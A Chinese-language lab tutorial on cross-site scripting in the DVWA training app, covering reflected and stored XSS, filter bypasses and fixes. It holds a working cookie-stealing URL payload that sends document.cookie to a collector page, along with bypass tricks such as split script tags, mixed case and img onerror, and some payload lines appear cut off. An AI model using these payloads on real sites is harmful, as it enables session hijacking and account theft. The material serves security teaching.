XSS漏洞
概述
收到一个链接,手一抖就点下去了,发现钱没了,有点类似CSRF,从受害者角度来说都是一样情况,但是从攻击者角度来说不同
XSS
Cross-site scripting
跨站 脚本
本质上:
客户端代码注入,通常注入代码是JavaScript区别于命令注入,SQL注入等服务端代码注入
类型:
存储型XSS 攻击代码在数据库里在HTTP响应中
反射型XSS 攻击代码在url里输出在HTTP响应中
DOM型XSS 攻击代码在url里输出在DOM节点中
准备:
Firebox
DVWA
Firebug
Hackbar
Tamper Data
3.进入存储型XSS,发现是个常见的留言板功能
4.先来进入反射型XSS
发现一个框,让我们输入姓名
正常操作
5.尝试< xss >标签
发现hello后面出现了xss标签,似乎可以注入html标签
6.弹窗测试
在firebug查看对应元素
7.JavaScript弹窗函数(根据服务器过滤情况选择)
alert()
confirm()
prompt()
8.攻击思路
用户要登陆被攻击web服务器,攻击者发送攻击url(包含攻击js),诱骗他点击,用户点击后服务器会对攻击js回应,用户浏览器执行js脚本,在用户不知情的情况下,发送凭证到攻击者web下,达到了跨站的目的,攻击者获取到信息,使用用户身份进入到web服务器
9.攻击者web设计
创一个cookie.php
http://127.0.0.1/cookie.php
构造攻击js
document.localtion 将页面内容定位到指定的位置
document.cookie 读取cookie
构造攻击url(等于提交表单)
http://localhost/DVWA-master/vulnerabilities/xss_r/?name=
http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E
10.发送url给用户,获取cookie
http://127.0.0.1/cookie.txt里面就有内容了
修改自己的cookie值就可以受害者的号登陆
11.进入中等难度
尝试发现没有成功,服务端过滤了script标签
12.发现只过滤了一次script标签
尝试使用
?name=ipt>alert(/xss/)
也可以使用大小写混合法,进行绕过
?name=#
13.进入高难度模式
使用了两种绕过也不行
发现只是限制了script标签,我们可以使用其他标签
发现img标签也可以执行js脚本
?name=
//img标签
?name=
14.最后来到无漏洞模式
查看源代码
发现了htmlspecialchars函数
这个函数可以将
这个函数默认不编译单引号
& => &
" => "
' => '
< => <
> => >
15.来到存储型XSS
16.前段限制了输入长度
我们用firebug查看
使用tamper data进行成功绕过
17.因为存储型数据库对数据库可能会有影响
所以我们重置一下数据库
18.进入中等难度存储XSS
使用大小写混合法成功绕过
name成功注入
message注入失败
19.进入高难度等级
使用img标签
而name成功,message注入失败
img src=x onerror=alert(1)>
20.进入无漏洞模式
输入我们的特殊符号
同样使用htmlspecialchars
不仅这样还是用了mysql_real_escape_string对单引号进行转义,防止sql注入
修复
输入过滤
不建议黑名单,应使用白名单
最重要的是输出过滤
HTML编码
JS转义